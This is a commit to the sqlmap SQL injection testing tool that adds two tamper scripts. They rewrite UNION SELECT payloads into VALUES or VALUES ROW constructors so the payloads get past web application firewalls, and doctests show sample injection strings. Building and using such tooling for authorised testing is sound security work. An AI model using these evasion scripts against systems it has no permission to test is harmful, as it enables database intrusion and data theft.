Adding two new tamper scripts

This commit is contained in:
Miroslav Štampar
2026-08-14 22:56:50 +02:00
parent ebf4b48337
commit 319910ccd8
3 changed files with 115 additions and 1 deletions
+1 -1
View File
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.8.33"
VERSION = "1.10.8.34"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
+60
View File
@@ -0,0 +1,60 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces UNION SELECT <columns> with the standard SQL table value constructor UNION VALUES (<columns>)
Requirement:
* MariaDB
* PostgreSQL
* SQLite
* CockroachDB
* CrateDB
* Presto
Tested against:
* MariaDB 10.11.14, 11.8.8
* PostgreSQL 16.11
* SQLite 3.45.1
* CockroachDB, CrateDB, Trino
Notes:
* Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the
resulting payload carries no SELECT token at all
* MySQL requires the row constructor to be spelled 'VALUES ROW(...)' and rejects this form
(see tamper script 'unionvaluesrow'), while Oracle and Microsoft SQL Server have no
standalone VALUES query at all
* A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those
produced by --union-from) are deliberately left untouched
>>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -')
'-1 UNION ALL VALUES (NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -'
>>> tamper('-1 UNION SELECT 45,45#')
'-1 UNION VALUES (45,45)#'
>>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -')
'-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -'
"""
def _(match):
columns = match.group("columns").rstrip()
if re.search(r"(?i)\bFROM\b", columns):
return match.group(0)
return "%s%s VALUES (%s)" % (match.group("union"), match.group("all") or "", columns)
return re.sub(r"(?i)(?P<union>UNION)(?P<all>\s+ALL)?\s+SELECT\s+(?P<columns>.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
"""
Replaces UNION SELECT <columns> with the (MySQL) table value constructor UNION VALUES ROW(<columns>)
Requirement:
* MySQL >= 8.0.19
Tested against:
* MySQL 8.0.46, 8.4.9
Notes:
* Useful to bypass web application firewalls keying on the 'UNION.*SELECT' pair, as the
resulting payload carries no SELECT token at all
* MySQL mandates the ROW keyword here, while MariaDB and the other engines supporting a
standalone VALUES query reject it (see tamper script 'unionvalues')
* A table value constructor takes no FROM clause, hence payloads carrying one (e.g. those
produced by --union-from) are deliberately left untouched
>>> tamper('-1 UNION ALL SELECT NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL-- -')
'-1 UNION ALL VALUES ROW(NULL,CONCAT(0x716b6a7671,0x41,0x7170707671),NULL)-- -'
>>> tamper('-1 UNION SELECT 45,45#')
'-1 UNION VALUES ROW(45,45)#'
>>> tamper('-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -')
'-1 UNION ALL SELECT NULL,NULL FROM DUAL-- -'
"""
def _(match):
columns = match.group("columns").rstrip()
if re.search(r"(?i)\bFROM\b", columns):
return match.group(0)
return "%s%s VALUES ROW(%s)" % (match.group("union"), match.group("all") or "", columns)
return re.sub(r"(?i)(?P<union>UNION)(?P<all>\s+ALL)?\s+SELECT\s+(?P<columns>.+?)(?=(?:--|#|/\*)|$)", _, payload) if payload else payload